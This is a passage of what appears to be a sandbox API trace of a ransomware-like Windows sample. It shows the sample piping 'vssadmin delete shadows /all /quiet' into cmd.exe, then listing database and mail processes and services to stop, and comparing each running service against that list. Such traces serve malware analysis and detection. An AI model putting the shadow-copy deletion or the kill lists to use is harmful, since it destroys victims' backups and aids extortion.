0x795198 [0204.793] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x795198, Size=0x100) returned 0x383a440 [0204.793] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0204.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x383a440 | out: hHeap=0x710000) returned 1 [0204.793] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x776990, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0204.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0204.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776990 | out: hHeap=0x710000) returned 1 [0204.793] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x2c4, hWritePipe=0x19fd54*=0x494) returned 1 [0204.794] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x334, hWritePipe=0x19fdc4*=0x338) returned 1 [0204.794] SetHandleInformation (hObject=0x494, dwMask=0x1, dwFlags=0x0) returned 1 [0204.794] SetHandleInformation (hObject=0x334, dwMask=0x1, dwFlags=0x0) returned 1 [0204.794] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2c4, hStdOutput=0x338, hStdError=0x338), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x544, hThread=0x56c, dwProcessId=0x438, dwThreadId=0x384)) returned 1 [0204.810] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0204.810] WriteFile (in: hFile=0x494, lpBuffer=0x7955d8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7955d8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0204.810] CloseHandle (hObject=0x544) returned 1 [0204.810] CloseHandle (hObject=0x56c) returned 1 [0204.810] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x37b2750 | out: hHeap=0x710000) returned 1 [0204.812] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0204.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7955d8 | out: hHeap=0x710000) returned 1 [0204.812] lstrlenW (lpString="%comspec%") returned 9 [0204.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6c8 | out: hHeap=0x710000) returned 1 [0204.812] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0204.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726198 | out: hHeap=0x710000) returned 1 [0204.812] ExitProcess (uExitCode=0x0) Thread: id = 30 os_tid = 0xde0 Thread: id = 34 os_tid = 0xdf8 [0157.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775e90 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775e90, Size=0x20) returned 0x74d810 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d810, Size=0x40) returned 0x727348 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727348, Size=0x80) returned 0x794de0 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x794de0, Size=0x100) returned 0x7acdf8 [0157.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775e18 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775e18, Size=0x20) returned 0x74d950 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d950, Size=0x40) returned 0x727978 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727978, Size=0x80) returned 0x795440 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x795440, Size=0x100) returned 0x7985a0 [0157.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x775f68 [0157.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7ac3a8 [0157.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x775cc8 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac3a8, Size=0x8) returned 0x7ac288 [0157.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x7263f8 [0157.307] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac288, Size=0x10) returned 0x775f80 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x726418 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74d810 [0157.308] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775f80, Size=0x20) returned 0x74d928 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c) returned 0x74d950 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x16) returned 0x726458 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74d978 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x775d10 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7ac3e8 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x40) returned 0x727978 [0157.308] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac3e8, Size=0x8) returned 0x7ac2e8 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x3c) returned 0x7276a8 [0157.308] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ac2e8, Size=0x10) returned 0x775e90 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x7265d8 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x726498 [0157.308] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x775e90, Size=0x20) returned 0x74d680 [0157.308] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x725428 [0157.308] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0157.308] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7acdf8 | out: hHeap=0x710000) returned 1 [0157.308] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0157.308] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7985a0 | out: hHeap=0x710000) returned 1 [0157.308] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74d9c8 [0157.362] EnumServicesStatusExW (in: hSCManager=0x74d9c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0157.370] GetLastError () returned 0xea [0157.370] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1b46) returned 0x78aed8 [0157.370] EnumServicesStatusExW (in: hSCManager=0x74d9c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x78aed8, cbBufSize=0x1b46, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x78aed8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0157.398] CloseServiceHandle (hSCObject=0x74d9c8) returned 1 [0157.423] lstrlenW (lpString="AppXSvc") returned 7 [0157.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0157.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0157.423] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0157.423] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0157.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0157.423] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.423] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.423] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.423] lstrlenW (lpString="Audiosrv") returned 8 [0157.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0157.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0157.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0157.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0157.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0157.423] lstrlenW (lpString="BFE") returned 3 [0157.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.423] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.424] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.424] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0157.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.424] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0157.424] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0157.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0157.424] lstrlenW (lpString="CDPSvc") returned 6 [0157.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0157.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0157.424] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0157.424] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0157.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0157.424] lstrlenW (lpString="ClickToRunSvc") returned 13 [0157.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.424] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0157.424] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0157.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0157.424] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0157.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.424] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0157.424] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0157.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0157.425] lstrlenW (lpString="CryptSvc") returned 8 [0157.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.425] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.425] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.425] lstrlenW (lpString="DcomLaunch") returned 10 [0157.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.425] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.425] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.425] lstrlenW (lpString="DeviceAssociationService") returned 24 [0157.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.425] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0157.425] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0157.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0157.425] lstrlenW (lpString="Dhcp") returned 4 [0157.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.425] lstrlenW (lpString="Dnscache") returned 8 [0157.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.426] lstrlenW (lpString="DPS") returned 3 [0157.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.426] lstrlenW (lpString="DsmSvc") returned 6 [0157.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0157.426] lstrlenW (lpString="DusmSvc") returned 7 [0157.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0157.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0157.426] lstrlenW (lpString="EventLog") returned 8 [0157.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0157.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0157.426] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0157.426] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0157.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0157.427] lstrlenW (lpString="EventSystem") returned 11 [0157.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.427] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.427] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.427] lstrlenW (lpString="FontCache") returned 9 [0157.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0157.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0157.427] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0157.427] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0157.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0157.427] lstrlenW (lpString="gpsvc") returned 5 [0157.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0157.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0157.427] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0157.427] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0157.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0157.427] lstrlenW (lpString="iphlpsvc") returned 8 [0157.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.427] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0157.427] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0157.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0157.427] lstrlenW (lpString="KeyIso") returned 6 [0157.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0157.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0157.428] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0157.428] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0157.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0157.428] lstrlenW (lpString="LanmanServer") returned 12 [0157.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0157.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0157.428] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0157.428] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0157.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0157.428] lstrlenW (lpString="LanmanWorkstation") returned 17 [0157.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.428] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0157.428] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0157.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0157.428] lstrlenW (lpString="lfsvc") returned 5 [0157.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0157.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0157.428] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0157.428] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0157.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0157.428] lstrlenW (lpString="lmhosts") returned 7 [0157.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0157.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0157.429] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0157.429] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0157.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0157.429] lstrlenW (lpString="LSM") returned 3 [0157.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0157.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0157.429] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0157.429] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0157.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0157.429] lstrlenW (lpString="MpsSvc") returned 6 [0157.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0157.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0157.429] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0157.429] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0157.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0157.429] lstrlenW (lpString="NcbService") returned 10 [0157.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0157.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0157.429] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0157.429] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0157.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0157.429] lstrlenW (lpString="netprofm") returned 8 [0157.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0157.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0157.430] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0157.430] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0157.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.430] lstrlenW (lpString="NgcSvc") returned 6 [0157.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0157.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0157.430] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0157.430] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0157.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0157.430] lstrlenW (lpString="NlaSvc") returned 6 [0157.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.430] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.430] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.430] lstrlenW (lpString="nsi") returned 3 [0157.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.430] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.430] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.430] lstrlenW (lpString="PcaSvc") returned 6 [0157.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.430] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.430] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.431] lstrlenW (lpString="PlugPlay") returned 8 [0157.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.431] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.431] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.431] lstrlenW (lpString="Power") returned 5 [0157.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.431] lstrlenW (lpString="ProfSvc") returned 7 [0157.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.431] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.431] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.431] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.431] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.431] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.432] lstrlenW (lpString="RpcSs") returned 5 [0157.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.432] 